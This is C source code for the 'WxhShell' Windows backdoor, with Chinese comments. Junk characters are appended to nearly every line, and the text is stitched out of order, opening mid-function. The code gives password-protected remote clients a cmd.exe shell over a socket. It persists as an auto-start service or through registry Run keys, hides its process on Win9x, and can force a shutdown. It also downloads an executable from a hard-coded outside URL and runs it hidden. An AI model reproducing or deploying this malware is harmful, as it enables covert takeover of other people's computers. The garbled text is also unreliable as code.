    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {j%'EJ5  
    if(Boot(SHUTDOWN)) m[~fT(NI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .W _'6Q+  
    else { s!* m^zx  
    closesocket(wsh); }G,PUjg_^3  
    ExitThread(0); p8CDFLuV  
    } Opc, {,z6  
    break; d>j`|(\  
    } ttlFb]zZh  
  // 获取shell z;? 3 2K  
  case 's': { #l kv&.)x  
    CmdShell(wsh); &rY73qfP'  
    closesocket(wsh); WEgJ_dB  
    ExitThread(0); 1n+C'P"  
    break; SJ(<u2J]  
  } (~ 6oA f  
  // 退出 Ae,P&(  
  case 'x': { #bN'N@|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F@</Ev  
    CloseIt(wsh); [ +w=  
    break; jQDXl  
    } wxy. &a]  
  // 离开 bb@@QzR  
  case 'q': { p%;n4*b2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Tn+Aq7  
    closesocket(wsh); /DxaKZ ;b  
    WSACleanup(); J9+< 9g4-t  
    exit(1); 1ztL._Td  
    break; /CR Z  
        } cj=6_k  
  } )YSS>V  
  } #9Src\V  
pP JhF8Dt  
  // 提示信息 PNNY_t +I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .d}7c!  
} Rn(6Fk?   
  } *qM)[XO  
a!iG;:K   
  return; kkA5 pbS  
} IdP"]Sv{<  
1?6zsA%N  
// shell模块句柄 'JA<q-Gn  
int CmdShell(SOCKET sock) M`1pze_A  
{ QzV Q}  
STARTUPINFO si; W7R`})F  
ZeroMemory(&si,sizeof(si)); X:3W9`s )*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tQTVP2:Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @Kl'0>U  
PROCESS_INFORMATION ProcessInfo; #* KmPc+  
char cmdline[]="cmd"; j>D[iHrH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Vq&w`sW  
  return 0; Pl2ZA)[g  
} o3=2`BvJ  
[PRQa[_  
// 自身启动模式 Tj[=E  
int StartFromService(void) P LHiQ:  
{ vh29mzum  
typedef struct ^seb8o7  
{ a,>`ab%>  
  DWORD ExitStatus; fWutB5?P  
  DWORD PebBaseAddress; *=b# >//  
  DWORD AffinityMask; !Z0p94L  
  DWORD BasePriority; ?G|*=-8  
  ULONG UniqueProcessId; Y2Z<A(W  
  ULONG InheritedFromUniqueProcessId; \DDR l{  
}   PROCESS_BASIC_INFORMATION; u)NmjW  
b~5Q|3P9  
PROCNTQSIP NtQueryInformationProcess; $N@EH;{_0  
0P?\eoB@8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,p3moD 3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; szZ8-Y  
1I^uq>r  
  HANDLE             hProcess; il403Ae0  
  PROCESS_BASIC_INFORMATION pbi; C VyYV &U,  
:\Pk>a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q3SYlL'a  
  if(NULL == hInst ) return 0; q-k~L\Ys  
c;M&;'#x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E <O:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S8S<>W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +6i~Rx>  
)^D:VY9 2  
  if (!NtQueryInformationProcess) return 0; X~#jx(0_  
0Na/3cz|zg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S2!$  
  if(!hProcess) return 0; d^.@~  
u`j9m @`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q r n^T  
VQMPs{tm  
  CloseHandle(hProcess); b+6%Mu}o  
i^O(JC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rNl` w.  
if(hProcess==NULL) return 0; -weCdTY`X  
c}l?x \/  
HMODULE hMod; \_#Z~I{  
char procName[255]; bq}hj Cy  
unsigned long cbNeeded; @71n{9  
#xlT,:_:)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qFpRY7eq  
r^j iK\*  
  CloseHandle(hProcess); tt%lDr1A)  
J8>8@m6  
if(strstr(procName,"services")) return 1; // 以服务启动 REaU=-m-  
B0&W wa:  
  return 0; // 注册表启动 tsqkV7?  
} eX1<zzd  
 q\xT  
// 主模块 0~;Owu  
int StartWxhshell(LPSTR lpCmdLine)  HuCzXl  
{ ~|>q)4is6a  
  SOCKET wsl; Kj+=?R~}S  
BOOL val=TRUE; ~$@~X*K~  
  int port=0; Alh"ZT^*  
  struct sockaddr_in door; 555*IT3b  
(n>gC  
  if(wscfg.ws_autoins) Install(); >0kZ-M5  
Z}E.s@w  
port=atoi(lpCmdLine); GCEcg&s=\S  
-76l*=|  
if(port<=0) port=wscfg.ws_port; ZtFOIb*  
G5R"5d'  
  WSADATA data; L+rMBa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ];n3H~2  
/@!%/Kl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Q9!T@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~%8T_R/3  
  door.sin_family = AF_INET; i- v PJg1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aSy^( WN8  
  door.sin_port = htons(port); SMMsXH  
Q`Z=}^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !MNnau%O  
closesocket(wsl); :|P[u+v  
return 1; G';yb^DB  
} `wzb}"gLsM  
=jWcD{;1I}  
  if(listen(wsl,2) == INVALID_SOCKET) { , Ac gsC  
closesocket(wsl); J2ryYdo>  
return 1; 1F*3K3T {  
} t\/i9CBn  
  Wxhshell(wsl); `ecIy_O3P&  
  WSACleanup(); ZYi."^l  
p;P"mp\'  
return 0; wTu_Am  
^5:xSQ@:  
} zOEdFU{x  
-{^IT`  
// 以NT服务方式启动 #2XX[d%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8H%-/2NW  
{ rKtr&w7X  
DWORD   status = 0; D #`o  
  DWORD   specificError = 0xfffffff; D>U b)i  
}r+(Z.BHM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q^|ZoJS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !sJ*0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rfk8trD B  
  serviceStatus.dwWin32ExitCode     = 0; L355uaj  
  serviceStatus.dwServiceSpecificExitCode = 0; uVQH,NA,  
  serviceStatus.dwCheckPoint       = 0; 4IT`8n~  
  serviceStatus.dwWaitHint       = 0; 323zR*\m  
KliMw*5(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !ULU#2'1  
  if (hServiceStatusHandle==0) return; >Z\{P8@k0  
pKnM=N1f  
status = GetLastError(); 3>+9Rru  
  if (status!=NO_ERROR) Tx+Bkfj  
{ -$; h+9BO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vq.~8c1  
    serviceStatus.dwCheckPoint       = 0; fW'@+<b  
    serviceStatus.dwWaitHint       = 0; m,u5S=3A{!  
    serviceStatus.dwWin32ExitCode     = status; "L(4 EcO@  
    serviceStatus.dwServiceSpecificExitCode = specificError; kwcH$w<I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}Gpw6   
    return; kPt] [1jo  
  } CSA.6uIT  
{DI`HB[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  L$Uy  
  serviceStatus.dwCheckPoint       = 0; @AvDV$F  
  serviceStatus.dwWaitHint       = 0; w`N|e0G@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /9K,W)h_  
} N`G* h^YQ  
-$@$  
// 处理NT服务事件,比如:启动、停止 5Oa`1?C1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zm& D #)  
{ j/oM^IY  
switch(fdwControl) e]1&f.K  
{ DR d|m<Z  
case SERVICE_CONTROL_STOP: ~_!lx  
  serviceStatus.dwWin32ExitCode = 0; udEJo~u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mdj?;'Yv  
  serviceStatus.dwCheckPoint   = 0; F7FUoew<  
  serviceStatus.dwWaitHint     = 0; J$]-)`[G&  
  { 3y[uH'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); efc<lSUR  
  } 3 N5un`K7  
  return; \1[=t+/  
case SERVICE_CONTROL_PAUSE: ;2NJkn9t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MHuQGc"e+4  
  break; oCCTRLb02  
case SERVICE_CONTROL_CONTINUE: b`lLqV<[cB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ B>BA  
  break; ^:Mal[IR  
case SERVICE_CONTROL_INTERROGATE: 3@t&5UjwQ  
  break; W N5`zD$  
}; n^a&@?(+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'W8t|m}Pb  
} EJ%Kr$51K  
cl`!A2F1G#  
// 标准应用程序主函数 $X>$)U'p&-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~]d3 f  
{ Pl>BTo>p'  
hk +@ngh%  
// 获取操作系统版本 LNA5!E  
OsIsNt=GetOsVer(); [i9.#*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L/YEW7M  
VssD  
  // 从命令行安装 6*{sZMG  
  if(strpbrk(lpCmdLine,"iI")) Install(); z-J?x-<  
Oi?+Z:lak  
  // 下载执行文件 h@^d Vg  
if(wscfg.ws_downexe) { oB$P6   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fm|h3.`V  
  WinExec(wscfg.ws_filenam,SW_HIDE); *(?tf{  
} [}GPo0GY  
dYEsSFB m  
if(!OsIsNt) { :c_>(~  
// 如果时win9x,隐藏进程并且设置为注册表启动 J%:D%=9 )  
HideProc(); )Rlh[Y& r  
StartWxhshell(lpCmdLine); BDO]-y  
} 0- =PP@W  
else 1 luRTI8^  
  if(StartFromService()) Uyuvmt>  
  // 以服务方式启动 :Sd"~\N+  
  StartServiceCtrlDispatcher(DispatchTable); (FY<% .Pa  
else >U.f`24  
  // 普通方式启动 cD6T4  
  StartWxhshell(lpCmdLine); 5, j&-{ 0W  
q_R^Q>ZIe  
return 0; W`d\A3v  
} kf Xg\6uKc  
}(yX$ 3?`  
^@4$O|3Wh'  
uQ_s$@brI  
=========================================== [%1 87dz:D  
hE9UWa.Q>  
x,+2k6Wn!  
qGYru1  
(c'kZ9&  
"h84D&V  
" F s{}bQyQ  
jkrv2 `"  
#include <stdio.h> 9?6]Z ag  
#include <string.h> oE;SZ"$ x  
#include <windows.h> ]6*+i $  
#include <winsock2.h> c[6=&  
#include <winsvc.h> /ll2lyS+  
#include <urlmon.h> PIthv [F  
op|:XLR5  
#pragma comment (lib, "Ws2_32.lib") ?!{nNJ  
#pragma comment (lib, "urlmon.lib") Di^7@}kQS  
zNo(|;19  
#define MAX_USER   100 // 最大客户端连接数 N+V_[qr#  
#define BUF_SOCK   200 // sock buffer E979qKl  
#define KEY_BUFF   255 // 输入 buffer )2YZ [~3  
JKMcdD?'  
#define REBOOT     0   // 重启 f:K3 P[|  
#define SHUTDOWN   1   // 关机 o<f#Zi  
yClbM5,  
#define DEF_PORT   5000 // 监听端口 -gzY ~a  
"{X_[  
#define REG_LEN     16   // 注册表键长度 uA1DTr?z  
#define SVC_LEN     80   // NT服务名长度 {-'S#04  
OM1pyt  
// 从dll定义API QN'v]z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E{#Y=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ozo)}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $(PWN6{\r^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <M,A:u\qSQ  
D,)^l@UP  
// wxhshell配置信息 RO9oO7S  
struct WSCFG { Jemb0Qv  
  int ws_port;         // 监听端口 OD~TWT_  
  char ws_passstr[REG_LEN]; // 口令 h5>38Kd  
  int ws_autoins;       // 安装标记, 1=yes 0=no w?db~"T  
  char ws_regname[REG_LEN]; // 注册表键名 1$^=M[v  
  char ws_svcname[REG_LEN]; // 服务名 A>OGU ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `& (Fy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]L?DV3N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w*3DIVlxL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aDreN*n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w]Fi:kV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[$D3,A  
{+.ai8  
}; O:>9yZhV  
{k#RWDespy  
// default Wxhshell configuration d mj T$a|  
struct WSCFG wscfg={DEF_PORT, ?4 &C)[^  
    "xuhuanlingzhe", oO 8opS7F  
    1, 7Hm/ g  
    "Wxhshell", J91O$szA  
    "Wxhshell", z#|#Cq`VG  
            "WxhShell Service", >FRJvZ6  
    "Wrsky Windows CmdShell Service", ?7:?OX  
    "Please Input Your Password: ", w&E*{{otJ  
  1, +#/`4EnI  
  "http://www.wrsky.com/wxhshell.exe", ,svj(HP$  
  "Wxhshell.exe" nG dEJ  
    }; w'-J24>=  
~1`ZPLVG  
// 消息定义模块 yN Bb(!u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UFED*al#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J|Xu]fg0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KJf~9w9U  
char *msg_ws_ext="\n\rExit."; wB0zFlP  
char *msg_ws_end="\n\rQuit."; f/VrenZ_  
char *msg_ws_boot="\n\rReboot..."; pSLv1d"9{  
char *msg_ws_poff="\n\rShutdown...";  7z?r x  
char *msg_ws_down="\n\rSave to "; f4k\hUA  
f/&k $,w  
char *msg_ws_err="\n\rErr!"; s=uWBh3J  
char *msg_ws_ok="\n\rOK!"; {m&8Viq1  
a?)g>e HN  
char ExeFile[MAX_PATH]; =H"%{VeC5  
int nUser = 0; %5;kNeD\Fq  
HANDLE handles[MAX_USER]; V/)3d  
int OsIsNt; V3_qqz}`r  
 <JZa  
SERVICE_STATUS       serviceStatus; E8o9ufj3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -./ Y  
WX+@<y}%  
// 函数声明 k,y#|bf,Y  
int Install(void); &< hk&B  
int Uninstall(void); z=LO$,JW`  
int DownloadFile(char *sURL, SOCKET wsh); mHc2v==X\-  
int Boot(int flag); 5;9.&f  
void HideProc(void); CF5%&B  
int GetOsVer(void); b{ W ,wn  
int Wxhshell(SOCKET wsl); [{J1b  
void TalkWithClient(void *cs); & aF'IJC  
int CmdShell(SOCKET sock); n4 Y ]v  
int StartFromService(void); Q?%v b  
int StartWxhshell(LPSTR lpCmdLine); tI2p-d9B  
dRTpGz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SHC VjI6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 98WJ"f_ #  
NO#^_N`#\  
// 数据结构和表定义 U3w*z6OG  
SERVICE_TABLE_ENTRY DispatchTable[] = /h@rLJ)o>  
{ Vs[!WJ 7  
{wscfg.ws_svcname, NTServiceMain}, W/;qMP1"-  
{NULL, NULL} ZP%Bu2xd  
}; O11.wLNH  
m<22E0=g  
// 自我安装 u"a$/  
int Install(void) 4U:+iumy2  
{ *-9b!>5eD  
  char svExeFile[MAX_PATH]; o=(>#iVM  
  HKEY key; GgjBLe=C  
  strcpy(svExeFile,ExeFile); iAW oKW  
>:P3j<xTv  
// 如果是win9x系统,修改注册表设为自启动 ^A$~8?f  
if(!OsIsNt) { b;Im +9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E0S[TEDa]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %25_  
  RegCloseKey(key); }c,}+{q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -.WVuc`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `P4qEsZE>`  
  RegCloseKey(key); )O%lh 8fI  
  return 0; <XagkD  
    } uSQ*/h-<)0  
  } 6J*`<k/ S  
} ^Bb_NcU  
else { :jX~]1hpmA  
FTfA\/tl(;  
// 如果是NT以上系统,安装为系统服务 VfwD{+ 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xVyUUzXs  
if (schSCManager!=0) _2Z3?/Y  
{ ,lJ6"J\8.  
  SC_HANDLE schService = CreateService J4g;~#_19  
  ( w0!,1 Ry  
  schSCManager, pQY>  
  wscfg.ws_svcname, >i%w'uU  
  wscfg.ws_svcdisp, GvOAs-$  
  SERVICE_ALL_ACCESS, n4 @a`lN5g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 72zuI4&  
  SERVICE_AUTO_START, 0Y 2^}u@5  
  SERVICE_ERROR_NORMAL, i 8Xz  
  svExeFile, u&xK>7  
  NULL, b2e  a0  
  NULL, m[j3s=Gr  
  NULL, 8!GLw-kb  
  NULL, %},G(>  
  NULL )<F\IM  
  ); Zbh]O CN  
  if (schService!=0) \cP'#jZz  
  { S\5k' ifh  
  CloseServiceHandle(schService); i t@}dZ  
  CloseServiceHandle(schSCManager); :5{@*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ch9!AUiR  
  strcat(svExeFile,wscfg.ws_svcname); "D(8]EG=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BpG'e-2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pHB35=p28  
  RegCloseKey(key); 5Y=\~,%\oH  
  return 0; <]^;/2 .B  
    } ~<- ci  
  } N%A`rY}u  
  CloseServiceHandle(schSCManager); u7&'3ef  
} chmJ|  
} G5#}Ed4  
#pQ"+X  
return 1; ]}7rWs[|1  
} <-:@} |br  
Vnj/>e3  
// 自我卸载 .*~u  
int Uninstall(void) L1kM~M  
{ C'czXZtn  
  HKEY key; Q!Ow{(|  
| 58 !A]  
if(!OsIsNt) { CEuk1$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nH>V Da  
  RegDeleteValue(key,wscfg.ws_regname); w;@25= |  
  RegCloseKey(key); 04PoBv~g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #C1A5JE&  
  RegDeleteValue(key,wscfg.ws_regname); ~8xh0TSi  
  RegCloseKey(key); 2Uv3_i<  
  return 0; BU:Ecchbr  
  } [TK? P0  
}  Q A)9  
} ^jha:d  
else { Sm$j:xw <  
P"9@8aLB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $FQcDo|[  
if (schSCManager!=0) { LT4u ]#  
{ ]bN&5.|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w,![;wG  
  if (schService!=0) S -6"f /  
  { te;Ox!B&  
  if(DeleteService(schService)!=0) { jemx ky  
  CloseServiceHandle(schService); !jAWNK6  
  CloseServiceHandle(schSCManager); 6mBDd>`0  
  return 0; eMN+qkvH  
  } ~)wwX:;B_  
  CloseServiceHandle(schService); hg&w=l  
  } r}R^<y@I  
  CloseServiceHandle(schSCManager); mX@j  
} i<#h]o C}  
} x[PEn  
2 {mY:\  
return 1; np-T&Pz2  
} Ehb?CnV#J  
emv;m/&8  
// 从指定url下载文件  /[Bl  
int DownloadFile(char *sURL, SOCKET wsh) 7MO  
{ (Bt;DM#>  
  HRESULT hr; N b3I%r  
char seps[]= "/"; 6%ZHP?  
char *token; wi\z>'R  
char *file; W>Mse[6`c  
char myURL[MAX_PATH]; ^e?$ ]JiA!  
char myFILE[MAX_PATH]; *|];f#^9  
<`c25ih.4  
strcpy(myURL,sURL); s?^,iQ+tp  
  token=strtok(myURL,seps); ?CH?kP  
  while(token!=NULL) 2q"_^deI5*  
  { M5']sdR(l  
    file=token; #0P!xZ'|{  
  token=strtok(NULL,seps); FNz84qVIx'  
  } ATMc`z:5T  
cP*c(k~N  
GetCurrentDirectory(MAX_PATH,myFILE); UvPp~N 7,  
strcat(myFILE, "\\"); @Pxw hlxa  
strcat(myFILE, file); _Fy4DVCg  
  send(wsh,myFILE,strlen(myFILE),0); j6n2dMRvSE  
send(wsh,"...",3,0); 5U0ytDZ2/(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o-SRSu  
  if(hr==S_OK) T$ H2'tK|  
return 0; T?H\&2CLT  
else 0fnZR$PB  
return 1; YO)')&  
`Uz s+k-]  
} sL)Rg(rkx  
UG6M9  
// 系统电源模块 &}zRH}s;  
int Boot(int flag) azvDvEWCQZ  
{ j: <t  
  HANDLE hToken; -{!&/;Z  
  TOKEN_PRIVILEGES tkp; ha_@Yqgh  
"VV914*z  
  if(OsIsNt) { w3<Z?lj:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PT mf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q;p.wEbr4U  
    tkp.PrivilegeCount = 1; )j\r,9<K+5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /M 0 p_4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AvZXRN1:'  
if(flag==REBOOT) { !{IC[g n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :ezA+=ENg  
  return 0; (%i!%{!]  
} E\w+kAAf  
else { HH7[tGF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?3[tJreVj  
  return 0; 9KXym }  
} =Qyqfy*@D?  
  } ?F1wh2o q  
  else { hPcS, p{%  
if(flag==REBOOT) { [4Y[?)7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "rVU4F)  
  return 0; {-Yee[d<?  
} Cgo9rC~]  
else { U>oW~Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &uPDZ#C-  
  return 0; E evw*;$x  
} rrAqI$6  
} 3#9uEDdE  
: aH%bk  
return 1; +1x)z~q=  
} 'v\j.j/i  
q=njKC  
// win9x进程隐藏模块 goB;EWz  
void HideProc(void) k9 l^6#<?  
{ w3d34*0$  
zb>;?et;)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o'96ON0  
  if ( hKernel != NULL ) uNy!< u  
  { V(r`.75  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]Ym=+lgi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e^=NL>V6p  
    FreeLibrary(hKernel); \p3v#0R{  
  } @O'I)(To  
]9s\_A9  
return; O MvT;Vgg  
} P0)AU i  
YIO.yN"0  
// 获取操作系统版本 /w0w* n H  
int GetOsVer(void) Si]X rub  
{ $,@JYLC2  
  OSVERSIONINFO winfo; pu#[pa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %P;[fJ `G  
  GetVersionEx(&winfo); RbKwO} z$q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L@?e:*h  
  return 1;  jC4O`  
  else B>,A(X&  
  return 0; *t]v}ZV*  
} _CL{IY  
>;7a1+`3  
// 客户端句柄模块 WU7cF81$  
int Wxhshell(SOCKET wsl) 4dD2{M  
{ d+e0;!s~O  
  SOCKET wsh; #n#HzbT  
  struct sockaddr_in client; i&*<lff  
  DWORD myID; i(Vm!Y82  
>4M<W4  
  while(nUser<MAX_USER) .zIgbv s  
{ Hr&Ere8.4p  
  int nSize=sizeof(client); ` .$&T7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9$wAm89  
  if(wsh==INVALID_SOCKET) return 1; a5 bPEJ=I  
'B,KFA<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5D L,U(Y  
if(handles[nUser]==0) [[X+P 0`r  
  closesocket(wsh); ;Yv14{T!  
else <%&_#<C)  
  nUser++; Zw24f1iY  
  } Yv=g^tw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tyd h9I  
="2/\*.SL  
  return 0; !5~k:1=  
} uJ 8x  
~bGC/I;W>  
// 关闭 socket b5S7{"<V  
void CloseIt(SOCKET wsh) 7>&1nBh. f  
{ &mdB\Y?^  
closesocket(wsh); `M0YAiG  
nUser--; 7_%2xewV|  
ExitThread(0); Fv@tD4I>  
} ,Z5Fea  
3.FR C  
// 客户端请求句柄 7UDq/:}Fo  
void TalkWithClient(void *cs) )cKjiXn  
{ rKT)!o'  
ib; yu_  
  SOCKET wsh=(SOCKET)cs; ll2Vk*xs  
  char pwd[SVC_LEN]; +4HlRGH  
  char cmd[KEY_BUFF]; ;j!UY.i  
char chr[1]; X|Dpt2A=  
int i,j; }H2#H7!H  
s>r ^r%uK  
  while (nUser < MAX_USER) { P9s_2KOF  
Ck@M<(x  
if(wscfg.ws_passstr) { v8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gCL{Cw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 03F3q4"  
  //ZeroMemory(pwd,KEY_BUFF); PT05DH  
      i=0; B\/7^{i5  
  while(i<SVC_LEN) { >j:|3atb  
!xymoiArp  
  // 设置超时 {(!)P  
  fd_set FdRead; m/{Y]D{2  
  struct timeval TimeOut; q}s K  
  FD_ZERO(&FdRead); lz}llLb1  
  FD_SET(wsh,&FdRead); NnP.k7m)  
  TimeOut.tv_sec=8; s6/cL|Ex  
  TimeOut.tv_usec=0; D$$3fN.iEL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F3 Y<ZbxT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @.1Qs`pt  
m#;.yR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )tvc/)&A}  
  pwd=chr[0]; 8F)=n \  
  if(chr[0]==0xd || chr[0]==0xa) { 8yvJ`eL-  
  pwd=0; NZfd_? 3  
  break; v4D!7 t&v"  
  } !]G jIT]Oh  
  i++; U1jSUkqb  
    } 5!8-)J-H  
#r(a~  
  // 如果是非法用户,关闭 socket XHZLW h"gS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %]!?{U\*k  
} ?;fv!'?%  
C[g&F 0 6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kn. iyR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7F~xq#Wi#  
Q6xgLx[  
while(1) { Etdd\^  
9'l.TcVm`,  
  ZeroMemory(cmd,KEY_BUFF); IN>TsTo  
L^&do98  
      // 自动支持客户端 telnet标准   ^,>}%1\  
  j=0; iKY-;YK  
  while(j<KEY_BUFF) { %$^$'6\77  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C>M6&=  
  cmd[j]=chr[0]; D8W(CE^}  
  if(chr[0]==0xa || chr[0]==0xd) { [&fWF~D-p<  
  cmd[j]=0; $*g{[&L|6  
  break; ddl3 fl#f  
  } JW2W>6Dgv[  
  j++; 5t TLMZ`o  
    } ]D?oQ$q7  
\A~4\um  
  // 下载文件 @i;LZa  
  if(strstr(cmd,"http://")) { dr}O+7_7%-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +h9`I/R  
  if(DownloadFile(cmd,wsh)) S|tA[klh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}]l9"q(  
  else sY&r bJ(P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N <ja6Ac  
  } M,I68  
  else { l@ (t^68OD  
